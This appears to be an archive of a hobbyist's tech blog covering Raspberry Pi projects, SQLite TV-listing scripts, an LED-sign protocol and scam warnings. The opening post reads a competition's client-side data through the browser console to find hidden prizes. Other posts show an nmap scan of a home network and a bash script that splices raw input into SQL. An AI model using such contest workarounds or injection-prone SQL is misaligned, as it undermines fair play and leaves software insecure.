Now how to map the coordinates from the xml file to the map I was seeing in the browser ?
Well krpano have a well stocked forum and I saw references to a "screentosphere" function that could be called in Action Script and I started to look into plugins and ways of executing this method without touching the code..
Which lead me to a couple of notes that there was a JavaScript API, could I run "screentosphere" from the browser ?
http://www.krpano.com/forum/wbb/index.php?page=Thread&postID=9703&highlight=double+click+zoom
seemed to think it did!
Back to the panorama, but the code did not work! It couldn't find the SWF object, maybe they named it something else?
No, there it was id="krpanoSWFObject"
I needed to get at the object in the IFrame...
var iframe = document.getElementById('panoapp');
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
krpano=innerDoc.getElementById("krpanoSWFObject");
But the code still did not work, "krpano" did not seem to be a function, I tried some minimal code
var mousex = krpano().get("mouse.x");
var mousey = krpano().get("mouse.y");
var hvs = krpano().get("screentosphere("+mousex +","+mousey +")");
Why wasn't it working?
var mousex = krpano.get("mouse.x");
var mousey = krpano.get("mouse.y");
var hvs = krpano.get("screentosphere("+mousex +","+mousey +")");
Worked, hvs contained my ath,atv based on the mouse position. I did not want to run this code every time I moved the mouse so I added "cheese"(and I regretted it later).
function cheese() {
var mousex = krpano.get("mouse.x");
var mousey = krpano.get("mouse.y");
var hvs = krpano.get("screentosphere("+mousex +","+mousey +")");
console.log(hvs);
}

self.setInterval(function(){cheese()},1000);
Every 1000ms(1 second) cheese would report the coordinates of my mouse in "ath,atv".
I scrolled over to the first Buzby and saw the coordinates of "ath=8.532, atv=43.300" it WORKED!!
Now to track down the other four Buzbys, but after some time staring at the console output from "cheese" I could not find anything at "ath=14.157, atv=3.132".
I was getting fed up with the coordinates from cheese being so jumpy and I realised that if the "screentosphere" function worked from JavaScript maybe there was a "centre map" function...
krpano.call("moveto(8.532,43.300)");
Set the display but no Buzby, which was odd because I knew it was there, "cheese" was still running and I manually moved the map to the known Buzby, but the coordinates were wrong, or were they.
"cheese" was showing "ath=168.489, atv42.509", hang on that was one of the other coordinates in the xml ...
If you zoomed in a certain amount the map jumps as if it is using another camera/data source(the contrast is quite different). When I zoomed past this point "cheese" reported quite different coordinates.
So calling "moveto" on the coordinates also required the manual step of zooming in and out until a Buzby is found.
krpano.call("moveto(8.532,43.300)");
krpano.call("moveto(168.489,42.509)");
krpano.call("moveto(14.157,3.132)");
krpano.call("moveto(174.040,2.786)");
krpano.call("moveto(-37.043,2.784)");
Will get you all three Buzbys depending on zoom level.

So if you are company running a competition where data is sent to the client just expect that someone will read it other than your code.


raspmc usb keypad control
Thu, 21 Feb 2013 19:09:25 GMT
After setting up the raspberry pi with rasmbc...
I did not want to use an remote control or a remote application(no wifi or LAN) so I dug out a USB Numpad.

XBMC allows you to remap keys and controls to allow for different devices and preferences.
ssh into the running raspbmc pi
vi ~/.xbmc/userdata/keymaps/keyboard.xml
and add



  
    
      OSD
      Stop
      Down
      BigStepBack
      Left
      Select
      Right
      XBMC.ActivateWindow(Home)
      Up
      BigStepForward
      StepBack
      
      StepBack
      StepForward
      Info
      Pause
      
      
      
      
    
  


Now I have the USB stick in one USB port and the Keypad in the other, perfect.



raspbmc silky smooth raspberry pi videos
Tue, 19 Feb 2013 22:22:37 GMT
raspbmc

Or Raspberry Pi Media Centre using XMBC (XBox Media Centre) gives you a highly customisable media centre that can connect to the network for streaming off of use USB sticks for files.
I wanted to see how easy it would be to get something useful that I could rip the kids DVDs onto.
For some reason I had lots of issues with my SanDisk 8GB Class 10 SD card and the supplied installer script, but a manual install did the trick
zcat ./installer.img.gz > /dev/sdc
Where I had already downloaded the installer.img.gz file and sdc was the device assigned to the SD card.
Booted up the Pi and waited an age for the system to download the actual OS and install, then plugged in a USB stick with some video files.
Some of the videos were choppy, which was odd because I had heard great things about the Pi and full screen video decoding, then I found that the hardware video decoding is disabled and you must buy a licence to enable it.

Over the to the Pi Store and for the price of a BigMac(tm) and fries got both the VC1 and MPG2 codecs, the next day I could play videos with no buffering, crystal.
vcgencmd codec_enabled MPG2
MPG2=disabled
vcgencmd codec_enabled WVC1
WVC1=disabled
sudo bash
echo decode_MPG2=0xffffffff >>/boot/config.txt
echo decode_WVC1=0xffffffff >>/boot/config.txt
exit
vcgencmd codec_enabled MPG2
MPG2=enabled
vcgencmd codec_enabled WVC1
WVC1=enabled
Where 0xffffffff is the hex code emailed to you when you purchase the codecs.

next time, controlling the raspbmc...


raspberry pi panic button basic script
Thu, 07 Feb 2013 20:43:25 GMT
I have big plans for my panic button on the Raspberry PI but, for now I am content just to note it is pressed.
A bash script that simply waits for you to push the button

 1 #!/bin/bash
 2
 3 #detect when the button is pressed
 4
 5 while [ $(cat /sys/bus/usb/drivers/panicb/*/button) = 0 ]; do
 6     echo -n "."
 7     sleep 0.5
 8 done
 9 echo "pressed"

This will check for the button [line 5], if it is pressed then exit the loop and print the message "pressed" [line 9].
If the button has not been pressed output a full stop [line 6] (the -n is to not add a CR) then wait half a second [line 7] and then try again.
I can then call this script from another, looping, to always print "pressed" when the button is pressed and never exit.

Next time I setup raspmc media centre with a USB keypad...


raspberry pi panic button ftw
Sun, 03 Feb 2013 21:45:52 GMT
I got this USB Panic button a few years ago, very cheap, I think it only worked in Windows XP and then not very well.

It seemed like the easiest thing to try and get working with the Raspberry Pi. After some googling three options came up, driver in Perl, Python or C.
After some hours trying to get CPAN(its a Perl thing) to handle USB I gave up with an unanswered post http://www.raspberrypi.org/phpBB3/viewtopic.php?f=50&t=29240&p=257052#p257052
I had little hope for Python so it was onto the C version, *HERE BE DRAGONS*

Only problem being that the C code was for a full kernel module and at the time the Raspberry Pi did not have the kernel header files needed to build kernel modules.
http://www.raspberrypi.org/phpBB3/viewtopic.php?f=71&t=29326&p=257733#p257733

There were some posts regarding the manual building of the Pi's kernel header files but they were for earlier versions, this is what I came up with
(mostly taken from http://www.raspberrypi.org/phpBB3/viewtopic.php?f=71&t=17666&p=179845#p179845)

wget  https://github.com/raspberrypi/linux/tarball/rpi-3.6.y
tar xzf rpi-3.6.y 
cd raspberrypi-linux-31a9510/
zcat /proc/config.gz > .config
make oldconfig
make modules_prepare
wget https://github.com/raspberrypi/firmware/raw/master/extra/Module.symvers
KSRC=`pwd`
pushd /lib/modules/`uname -r`
ln -s ${KSRC} source
ln -s ${KSRC} build
popd
pushd /usr/src
ln -s ${KSRC} linux-`uname -r`
ln -s ${KSRC} linux
popd

The Panic button code is part of a collection of USB gadgets https://github.com/pficheux/USBFun 

mkdir usbdevices
cd usbdevices/
wget "https://github.com/pficheux/USBFun/archive/master.zip"
unzip master.zip 
cd USBFun-master/
cd panicb/
make

it was going so well at this point and could not last

"error: unknown field ‘ioctl’ specified in initializer"

Stack overflow lead me to the fix
http://stackoverflow.com/questions/5868908/using-ioctl-communication-between-kernel-mode-and-user-mode
vi panicb.c
:169
wiunlocked
[ESC]
:wq
make

Which simply updated the line
	.ioctl   = panicb_ioctl
to
	.unlocked_ioctl   = panicb_ioctl
the updated way of handling this call in newer kernels.

Then
sudo ./detach_hid 1130 202
sudo insmod ./panicb.ko 

cat /sys/bus/usb/drivers/panicb/*/button
* is for the designation of the usb address e.g. 
/sys/bus/usb/drivers/panicb/1-1.3:1.0/button
that is the USB hub/port/address(not supposed to be human readable, though can be decoded)

if the result is 0 the button has not been pressed since it was last checked, 1 if it has been (this then resets it back to 0)
the press does not register until the button is released (this is a hardware not software issue).

running the newly compiled app sudo ./panicb_test /dev/panicb0 crashed my pi

to make it work on reboot (so you do not have to manually detach and insmod each time)
sudo make install
sudo cp 99-panicb.rules /etc/udev/rules.d
sudo udevadm control --reload-rules
modprobe panicb
if that fails with 
FATAL: Module panicb not found.
then you need to find the panicb.ko file and move it 
(this was because the kernel version ended in a + and command is not quoted)
mv /lib/modules/3.6.11/extras/panicb.ko /lib/modules/3.6.11+/kernel/drivers/usb/misc/
modprobe panicb
no errors and can see panicb in
lsmod
and finally add panicb to the /etc/modules file
echo panicb >> /etc/modules

Next time I demo a quick bash shell script to detect the panic button presses.


Saturn is reachable via screwdriver
Sat, 19 Jan 2013 10:18:02 GMT
So the Saturn problem I was having was not what I feared, a knackered motherboard. A number forums were reporting that newer TVs could not cope with the badly designed Saturn SCART cables and suggesting convoluted workarounds using SCART switcher boxes, but, in fact it was a bent pin in the video connector.
Slowly applying pressure via a small screw driver restored the pin and it lives once again.
Sadly my favourite Saturn game Burning Rangers never survived the loan of the Saturn, but I can still have some retro gaming with the kids.


I spy raspberry pi headless nmap discovery
Sat, 19 Jan 2013 10:01:59 GMT
ISPY Raspberry Pi

Got 512MB Raspberry Pi(model b) for Christmas.

I don't have a HDMI ready TV and it is not practical to try and hook up the RCA connector.
So my Raspberry y Pi is headless, no visual output (except the status LEDs).
The Raspberry Pi is up and running according to the status LEDs so how can I find which IP address it has been assigned ?
NMap to the rescue, it will check each IP address in a specific range and locate open ports, the Raspberry Pi Wheezy distribution has shh on by default.
nmap -n 192.168.0.0/24

Starting Nmap 6.01 ( http://nmap.org ) at 2013-01-02 21:45 GMT
Nmap scan report for 192.168.0.14
Host is up (0.0071s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
62078/tcp open  iphone-sync

Nmap scan report for 192.168.0.15
Host is up (0.000069s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.0.20
Host is up (0.028s latency).
All 1000 scanned ports on 192.168.0.20 are closed

Nmap scan report for 192.168.0.37
Host is up (0.0030s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
62078/tcp open  iphone-sync

Nmap scan report for 192.168.0.38
Host is up (0.0043s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.0.200
Host is up (0.017s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
5431/tcp open  park-agent

Nmap done: 256 IP addresses (6 hosts up) scanned in 45.38 seconds

-n for 'no name resolution' and the /24 is the bit mask to search from 0-255, that only affects the last number(octet).

In those results;
15 is the machine I am using
200 is the router
20 is the Wii
14 and 37 are IPhone/IPad devices (not mine) so that leaves 
38 for the PI

nmap -n -O 192.168.0.38

Starting Nmap 6.01 ( http://nmap.org ) at 2013-01-02 22:05 GMT
Nmap scan report for 192.168.0.38
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: B8:27:EB:BF:80:62 (Raspberry Pi Foundation)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.01%E=4%D=1/2%OT=22%CT=1%CU=35114%PV=Y%DS=1%DC=D%G=Y%M=B827EB%TM
OS:=50E4AF3B%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=105%TI=Z%CI=Z%II=I%
OS:TS=7)OPS(O1=M5B4ST11NW3%O2=M5B4ST11NW3%O3=M5B4NNT11NW3%O4=M5B4ST11NW3%O5
OS:=M5B4ST11NW3%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=
OS:3890)ECN(R=Y%DF=Y%T=41%W=3908%O=M5B4NNSNW3%CC=Y%Q=)T1(R=Y%DF=Y%T=41%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=41%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=41%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=41%CD=S)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds

-O is OS detection

Note that NMap is using the MAC address of the ethernet port to identify the Raspberry Pi.
then its just

ssh pi@192.168.0.38

say yes and enter the default password "raspberry"

Although its unlikely, your DHCP server(the thing giving out the IP addresses) might give the Raspberry Pi a different address next time it is booted, in which case just repeat the above to find the new address.

next time ... PANIC! (in a good way)


DVD+R DL RW is not what you think it is
Sun, 02 Dec 2012 11:17:34 GMT
I have had a writable DVD drive in computer for at least five years, only ever used it once to verify that it could write DVDs, worked fine for data.
Thing is at the time I had asked for Xmas presents writable DVDs, I even tried to give them away a few years back, no takers, so they just sat in a box.
For the first time since then I needed to write a video DVD to play on an old DVD player. Linux had lots of options, but the best/simplest seemed to be Bombono-DVD and indeed there were very few options, it just worked!
I had picked an 8.5gb DVD+R DL RW so if could use it again afterwards.
The disk played fine in the DVD player, but I had added the files in the wrong order and the old DVD player would not let me skip the 30mins of cruft at the beginning and fast forwarding took forever.
Time to rewrite the disk and make sure only the required video files were included ...
Disc with type "DVD+R" in the drive is not clear. Only clear recordable discs can be used for burning DVD-Video. Load a clear one and press OK.
hmmmm...
After a lot of googling it turns out rewritable DVDs can not be "blanked" like rewritable CDs and you just have to force the data on.
Bombono-DVD obviously did not know how to do this and as it is open source I thought I could fix it for them.
After some interesting setup, hacking and execute paths I had it bypassing the issue, Woohoo!
No, the underlying DVD software growisofs gives "Error 5".
Much more googling and reading Wikipedia DVD+RW and DVD+R resulted in DVD+RW Alliance.
RW is not even explained on their web page which rather adds to the credence that it was a marketing scam all along.
clap clap clap
I am not the only to be duped and I doubt I will be the last.


how to hack a noname led sign in windows 7 64bit that was made for windows xp 32bit
Sun, 02 Dec 2012 11:14:00 GMT
We got a led sign at work to display build and issue stats.
It was a cheap no-brand and came with mounting brackets a remote control and a badly photocopied copy of manual.
There was the power supply,IR remote, serial cable and a CD.
On the CD was the software for controlling the sign, but it was for Windows XP.
After some fiddling got it to run with Admin rights and compatibility mode XP sp2.
Confusing GUI, but basic sending text strings to the sign worked fine and had some fun with the custom graphics and colours/beeps etc.
So could we run it with parameters from the command line ? ... nope.
Could we find any other command line apps for dealing with this sign ? nope.
so we needed to decode what was sent across the serial port and replicate it in code.
Could we find a free (there are plenty that are not) package that would sniff the serial port ? Yes
Sysinternals now owned by Microsoft have a app called portmon.
Run it ... can not find a way to capture the data, nothing the docs or blog posts makes sense where is the "Computer" menu ?
Deep dive Googling turned up that Windows 7 64bit is NOT SUPPORTED AGHHHhhh...!
So get an old XP 32 bit machine and wire it up.
Problem one: software runs but does not update sign.
Problem two: now my Win7 64bit machine will not update sign.
The IR remote worked fine and after some fiddling just started working again, seems the sign was not in the right state.
Problem three: XP machine in the way, needs to be on the network and then we can use Remote Desktop, but no ethernet drivers.
Problem four: get driver on to machine after downloading, found someone with a USB key.
Problem five: RDP in, get sign working, run portmon .... still no "Computer" menu.
Problem six: forums suggest getting earlier version of portmon, can not find one anywhere, all links point back to the main site.
Problem seven: one post recommends Resource Hacker but then does not tell you what to do.
Worked out that you open the Menu editor add a random string and the number, compile, saved, run woohoo
DATA !
Problem eight: no amount of Googling will turn up anything about this protocol.
Manually decode protocol, find terminal program, send data.
Profit !?

This sign will scream if unplugged.
All the codes required to get the sign working are 7 bit ASCII, i.e. you can type them on your keyboard so writing a program that will format a basic String and then squirt it down the Serial line is trivial.
One PITA that became a godsend was the lack of feed back from the sign when sending data. The sign does not communicate Back via the serial port, which was very annoying when we were not sure if we were sending the right data. But later when the sign was unplugged I could send data down the line as if it was there and capture the bytes making the decoding from the supplied software a breeze.


never ever plane against the grain
Sun, 02 Dec 2012 11:02:06 GMT
Did some serious wood work this weekend, first time for twenty years.
Took and old shelf (that had been a desk) cut it in half and cut that half into three.
These three are the legs each 1ft long and 1" wide. Planed those down to make the ends flat.
Used a very heavy 100cm shelf of very high quality that we have had for over 6 years, no idea what it was mad for.
Measured and drilled holes including counter sinking.
This small job took about four and a bit hours and has made a huge impact on my cluttered desk.
note to self, never EVER plan across the grain !


blender required ATI watermark fight
Fri, 30 Nov 2012 22:36:17 GMT
Blender stopped working and I needed to add some eyes to my fish.
Had recompile the gentoo kernel and emerge new ATI drivers.
Checked uptime before rebooting, 145 days.
After everything came back up I got a shock, the X display had a ATI watermark stating this was a test!
Gentoo to the rescue add USE flag and re-emerge and reboot.
disable-watermark
Its all good and the eyeballs are coming along nicely ;)


Resurection of Saturn
Sun, 02 Sep 2012 14:52:49 BST
So the Saturn problem I was having was not what I feared, a knackered motherboard. A number forums were reporting that newer TVs could not cope with the badly designed Saturn SCART cables and suggesting convoluted workarounds using SCART switcher boxes, but, in fact it was a bent pin in the video connector.
Slowly applying pressure via a small screw driver restored the pin and it lives once again.
Sadly my favourite Saturn game Burning Rangers never survived the loan of the Saturn, but I can still some retro gaming with the kids.


console resurection dreamcast
Sat, 01 Sep 2012 10:16:55 BST
Got the old Dreamcast out to try an entertain the kids (that was after faffing with the Saturn and getting *no picture).
Lots of games, short attention span (not me), match made in heaven.
What was odd was their favourite game was Crazy Taxi, which was odd on many levels, from controls to ease of failure.
One thing Crazy Taxi does well that a hell of a lot of other Dreamcast games did really badly was time from boot to actual game play.
What with opening sequences that could not be skipped to numerous "select a save file"/"Mission briefing"/"select character(even though you only have one choice)" screens.
My all time favourite game that I thought would capture a child's imagination was Toy Commander, but it was just to complicated and they did not connect with the fact you were playing/imagining with toys!?
* might be updating that soon after doing an hours Googling.


DVD supermarket scam claims more victims
Tue, 28 Aug 2012 18:48:26 BST
I am sure you have seen the "wannabe" DVDs usually in the supermarkets pretending to be the latest film at rock bottom prices.
The key one that sticks in my mind was a cartoon with a cover that so closely resembled the Pixar UP multi-coloured balloons it was uncanny, there have also been numerous super hero film releases that conveniently tied into to expensive re-releases of the original cartoon.
Tintin is a good example, as soon as the cinema had the film all the DVD shelves were stuffed with the previously un-selling, now over priced original cartoon series.
Anyone who is not savvy with the intricacies of the latest releases would have trouble distinguishing the wheat from the chaff (I am think parents and grand parents).
I was also sure I would never be caught in this way, but I bought the original Swedish "The girl with the dragon tattoo" thinking it was the latest release. To my defence, it was difficult to detect it was in Swedish, the cover was covered in UK companies star reviews, there was a label about the forth coming cinema release and the there was no mention of the actors names or the language except in tiny writing.
That aside I did find it comical that my wife recently bought "The Kings Speech" except it was the Documentary and then "The Iron Lady" that once again was only a documentary. In her defence, although I saw through "The Kings Speech" straight away, I actually looked at "The Iron Lady" and put it in for us to watch and then it took a further 5 mins of watching it to realise it was not the film we expected.
There must be a marketing school teaching how to do this stuff, because they seem to be getting better at it and the number of them out there seems to increase all the time.
Currently on the SyFy channels is "Almighty Thor" not be confused with "Thor" the 2011 cinema release.
May this be a caution to me, not to buy DVDs from supermarkets ever again!


linkedin hacked and never replied
Wed, 06 Jun 2012 22:40:57 BST
Speaking of spam I have started to get spammy emails sent to an email address I created back in 2003-4 I signed up to a little known social web service to stay in contact with someone I meet on the commute to work.
http://linkedin.com
To be fair I did use it a few years ago when I need contacts for contract work, but now I do not use it at all.
On Saturday the 2nd of June I tweeted #linkedin asking if they had been hacked, as the email address was unique to linkedin and linkedin does not give email address out if facilitates inter user communication keeping the addresses hidden.
No reply and today I find they were hacked, 6.5 million password hashes released and many many people confirming their legitimacy.
Time to close my linkedin account ....?


spam now costs the price of a second class stamp
Wed, 06 Jun 2012 22:26:52 BST
t has been said that increasing the cost to send spam would decrease its profitability, hopefully to zero, so I was very surprised to receive a physical spam.
An A4 letter sent with a 2nd class stamp that appeared to be exactly as an email would be printed.
Headed up as From The desk of Hiroshi Tamiko
followed by a +81 phone number and a yahoo.co.jp email address, it detailed the classic story...
"keep confidential"
"money to transfer"
"looking for your help"
"will split money 50/50"
"trust me"
"you are the only one I am contacting"
"act swiftly"
I want to get it framed or at the very least incorporated into some kind of art project. :)


Finally getting to eat from the TV recipe
Sun, 20 May 2012 22:15:04 BST
Continuing my TV recipe
The films story was an easy one, now on with the programmes.
Lets start with the SQL query (which I run in the excellent sqlite manager firefox plugin which incidentally I have contributed code to).
SELECT 
	T.[id],
	P.[Title],
	P.[Episode],
	P.[Description],
	P.[sub-title], 
	strftime('%d',P.[Date]), 
	P.[Start Time], 
	C.[Name] 
FROM 
	programme P 
INNER JOIN Channel C ON P.channelId = C.Id
LEFT JOIN Tracker T ON P.Description = T.Description
WHERE 
	P.[title] in ('The Simpsons','Mythbusters','Pawn Stars','Family Guy','South Park','American Dad!','QI')
	AND ( 
			(
				date = date('now') 
				AND [start time]>=time('now')
			) 
			OR date=date('now','+1 day')
	)
	AND P.[Episode] !=''
	AND (
		T.[Title] is null 
		OR T.[seen] =0 
		OR P.[title] LIKE 'Robot Chicken%'
	)
ORDER BY [date],[start time]
"T.[id]" gives me the ID for the trackers script to set the 'seen' flag.
All the "P." columns are from the "Programme" table and the "C.[Name]" is the channel name, rather than the channel ID.
"INNER JOIN" results in a match for each channel ID to a channel Name.
"LEFT JOIN" is for all programmes even if there is not a corresponding tracker entry.
Then limit to my currently preferred programmes where the date and time are today or tomorrow.
Make sure the tracker is either null(not set) or explicitly set to 0(not seen) with the special caveat that I really want to watch Robot Chicken !
The "strftime('%d'" just lets me know easily if its today or tomorrow without a massive data string, I know what year it is!
All this means two things, one if I have not set an episode to 'seen' then it will show in my search meaning I feel no compulsion to record everything I have not seen, two I will not miss any random episodes that are on at different times or on different channels.
You might find this strange if you have skimmed through all the TV recipe posts but, I am watching considerably less than I use to. Mainly because I only go to the TV when I know something is on or needs to be recorded.
The only downside is, I might miss something outside my search parameters, like a new show, but hey I can live with that.


After getting all the ingredients for the tv recipe what to do with them
Sun, 20 May 2012 21:43:59 BST
Continuing my TV recipe
so now I have a nice big database of all the programmes from my preferred channels (read:all channels minus the ones I do not want/have no access to), what can I do with it ?
Time for some background on why I wanted to get all that data.
When I am tired or ill or just want to veg out, I like to watch TV, but even with sky's hundreds of channels I often find nothing on. But, being in 'veg' mode I then watch anything.
To try and fix this problem I started recording programmes and films I might want to watch in a future 'veg' episode. This works but takes up a huge amount of time and its easy to miss things.
For instance, I used to regularly check Film4 each night, but that missed films on other channels. On a Friday I would try and scour all the major channels for the coming weekend, just for films, again often missing odd ones here and there.
I the meantime for non-films I would just record every episode and hope for the best, this meant I often recorded tons of old episodes I did not want to see again.
The Sky interface is just too slow to manually check each recording and I still managed to miss stuff.
So... this project automates the data acquisition and then I can make the choices of what to record almost automatic.
But there is a problem. The Simpons(for instance) which is on my episode hit-list has 300+ episodes and I do not want to read the description each time to find out if it is one I have seen before or not.
A new table is born, "Trackers". The "Trackers" table has most of the same fields as the "Programmes" table minus the date/time and with an additional field "Seen".
I can not mark an episode as 'seen' and when I 'Join' the "Trackers" and "Programmes" tables together I need never see that episode in the results again.
To set an episode to 'seen' I have a tiny bash script
#!/bin/bash
echo "Set Seen Tracker"
echo "================"
echo "(hit return with no value to exit)"
tid="nothing yet"
while [ ${#tid} != 0 ]
do
  echo -n "tracker id:"
  read tid
  if [ ${#tid} != 0 ]; then
    sqlite3 database/tv.db "update tracker set seen=1 where id=$tid"
  fi
done 
The ID comes up in my queries and I just enter it in the window running the above script *bing* done.
For the film query I just need to get all data from today and flagged as a Film.
select [Title],[Genre],[Year],[Name],[Date],[Start Time] from programme P INNER JOIN Channel C ON P.channelId = C.Id where [Date] >= date('now') AND Film='true' ORDER BY [Date],[start time]
And although this make return over one thousand results for a two week period it takes almost no time to eye-ball the list looking for interesting films, many are repeats or +1
Now I never need to search the film channels again while remaining confident that I am not missing anything.
The other query for programme episodes is a bit more complex so I will leave that for another post ...


Cory Doctorows Content is the single most important thaing you need to read today
Sat, 05 May 2012 21:41:33 BST
I have been recently reading a number of Cory Doctorow (expect reviews) books.
Although I had heard of the author long ago, comments on slashdot.org referring to him as a 'hack' meant I had given his work a wide berth.
But what I HAVE to post about now is his non-fiction title ©ontent which you can download for FREE from http://craphound.com/content/download/ 
The author REALLY wants you to download all his books for FREE and they exist in many MANY formats.
I like mine in paper format and so got them from the Cory Doctorow section of amazon number were only 1p (+p&p).
The sub title of ©ontent (or just content) is 
Selected Essays on the Technology, Creativity, Copyright, and the Future of the Future
It is extremely difficult to try and describe what exactly it entails other than to say *YOU MUST READ THIS BOOK*, and you must try and get as many people as possible to also read it.
After reading it I want to order 1000s of copies and distribute them to everyone I see.
Comprising twenty eight stories/essays that are all very readable, well researched and easy to read, Cory details the REAL whys, whats and wherefores about humanities past, present and future connection with copyright, copying, the Internet and intellectually property.
The key thing I came away with, is that where we are in the history of mankind we are doing it all wrong, not just from a personal stand point but from a VERY clear historical one.
Radio was to change the world by broadcasting performances to anyone who could build a set, then cassette recorders, then video recorders and now the Internet.
Each one was a game changer and the laws were updated to ensure mankind benefited, but for some reason this is NOT happening with the Internet and digital copying.
"Copying stuff is never, ever going to get any harder than it is today"
Which makes me ask, 'How long until it we can each have a copy of every relevant(and possibly irrelevant) piece or data created since the beginning of recorded history, every text of every book, every image from every web site, every film/television broadcast, every digital post/tweet, every sound bite from every radio programme, every recorded thought?'


harvest the programme data
Sat, 05 May 2012 21:06:26 BST
Continuing my TV recipe
Got my preferred channel list time to get some programmes.
As noted in this post the programme files are just tilde delimited text files, on programme per line. So just loop through the list of channel ids and end up with a load(202) numbered .dat files.
Before I could do anything with them I had to fix the line endings.
egrep -lIUr $'\r$' raw/channels/*.dat | xargs sed -i 's/\r//'
Which translates to find all the files with a \r at the end of the line and remove it.
Now I could (and probably should have) written a SQL INSERT command that only adds new records, but instead I read all the data into a programmeTEMP table and then INSERT new records in to the main programme table.
sqlite3 database/tv.db "delete from programmeTEMP"
for i in raw/channels/*.dat; 
do 
	channelid=$(echo "$i" | sed -e "s/[^0-9]*//g")
	cat raw/channels/$channelid.dat | grep "~" | sed -e 's/\"/\\\"/gi' -e "s/'/''/gi" -e "s/~/','/gi" -e "s/^/insert into programmeTEMP values (null,$channelid,'/gi" -e "s/$/');/gi" | sqlite3 database/tv.db 
done
Which just loops through all the channels inserting all fields.
Next and very important, need to make the Date field searchable as its initial incarnation is just a string.
sqlite3 database/tv.db  "UPDATE programmeTEMP SET [Date] = (SUBSTR([Date],7,4)||'-'||substr([Date],4,2))||'-'||substr([Date],1,2) WHERE [Date] LIKE '__/__/____';"
Now, matching on the Channel ID, Programme Title, Date and Start Time import new records.
echo "insert into programme select null,PT.channelId,PT.Title,PT.[Sub-Title],PT.Episode,PT.Year,PT.Director,PT.Performers,PT.Premiere,PT.Film,PT.Repear,PT.Subtitles,PT.Widescreen,PT.[New series],PT.[Deaf signed],PT.[Black and White],PT.[Film star rating],PT.[Film certificate],PT.Genre,PT.Description,PT.[Radio Times Choice],PT.Date,PT.[Start Time],PT.[End Time],PT.Duration from programmeTEMP PT \
	LEFT JOIN programme P ON PT.channelId = P.channelId AND PT.Title = P.Title AND PT.Date = P.Date AND PT.[Start Time] = P.[Start Time] WHERE P.title IS NULL;"  | sqlite3 database/tv.db
Note how it is easy to use either sqlite method, pipe command in or pass as second parameter of sqlite3.
Now I have all the raw data I need.
Next time, why the trackers and what can be mined.


Please call Emma on 01482 380680 SCAM
Sat, 05 May 2012 20:33:00 BST
Got a postcard this morning, no not from a friend or family member on holiday with a nice picture on it.
This postcard had simply 
Please call Emma on
01482 380680 
thankyou
The note was hand written and looked like something a delivery company would put through the door, except someone had been in all day.
But what really spooked me was it was addressed to "The Occupier", hand written along with our address.
Wife wanted me to call it straight away but I googled the phone number and found out this is a scam perpetrated by a debt collection agency called Westcot.
Now you know how the back of a post card is in two halves, one for the message and one for the address. well the separator on this one is small print VERY small print.
2f is a trading name of Westcot credit services limited, registered in Scotland. no. 84131.
registered office: kyleshill house, 1 glencarin street, salcoats KA21 5JT
Any normal person will not see that the dividing line is in fact tiny tiny printed text.
If you get one of these, DO NOT RING! DO NOT GIVE THE REFERENCE NUMBER!
We have no bad debt so this is not legitimate, if you suspect the postcard is related to your bad debt then wait until you receive a real sealed letter.
Card was postage paid HQ44483
Note: I am classifying this as a SCAM due to the deceptive practises used, what the company is doing does appear to be legal(barely).


selecting only the channels you want with sqlite bash and html mad
Tue, 24 Apr 2012 21:00:36 BST
Continuing my TV recipe
So I had a text file for channels with over 400 entries, many I new were unrelated to my interests.
I could have manually removed any channels I did not like but then what about when I refreshed the data?
No I needed to keep all the channels and mark which ones were interesting.
There were many many ways to do this but for the minimal about of coding I opted for ...
First time; import all the channels into the database, then unselect the ones I was not interested in.
All further imports; import into channels into a comparison table, figure out any new or deleted channels then add/delete new/obsolete channels.
The key was how to unselect the channels ...
sqlite3 database/tv.db "select id,selected,name from channel;" | sed -e "s/|+|/|checked=\"checked\"|/gi" | sed -e "s/\(^[0-9]*\)|\(.*\)|\(.*\)/\3
/gi" > c.html
I then topped and tailed the c.html file to include a FORM BODY HTML tags.
Ran it in a browser and had a looong list of checkbox and channel names.
What I knew from the Computer-O quiz was that submitting the form using the GET method would put all the form data (i.e. selected channels) in the query string.
Its a bit mad but very easy, then it was a matter of taking that query string and running it by ...
echo QUERYSTRING | sed -e "s/\(^.*?id.\)/update channel set selected = '+' where id in (/" | sed -e "s/&id=/,/g" | sed -e "s/$/);/" | sqlite3 database/tv.db
echo QUERYSTRING | sed -e "s/\(^.*?id.\)/update channel set selected = '' where id not in (/" | sed -e "s/&id=/,/g" | sed -e "s/$/);/" | sqlite3 database/tv.db
Where QUERYSTRING is the query string from submitting my form to itself.
This sets the selected flag for included values and clears it (second command) where the are not included.
I love bash and sqlite scripting !
Next time importing the programmes and the tracker table...


XFCE no window decoration rm sessions
Tue, 24 Apr 2012 20:39:16 BST
I DO plan on continuing the TV Recipe, but before we get back to that I just need to add this fix to my archive

I have a number of projects on the go at any one time and some seem to have been going on forever. One such project involves DVDs and when running the carefully considered memcoder command line X crashed.
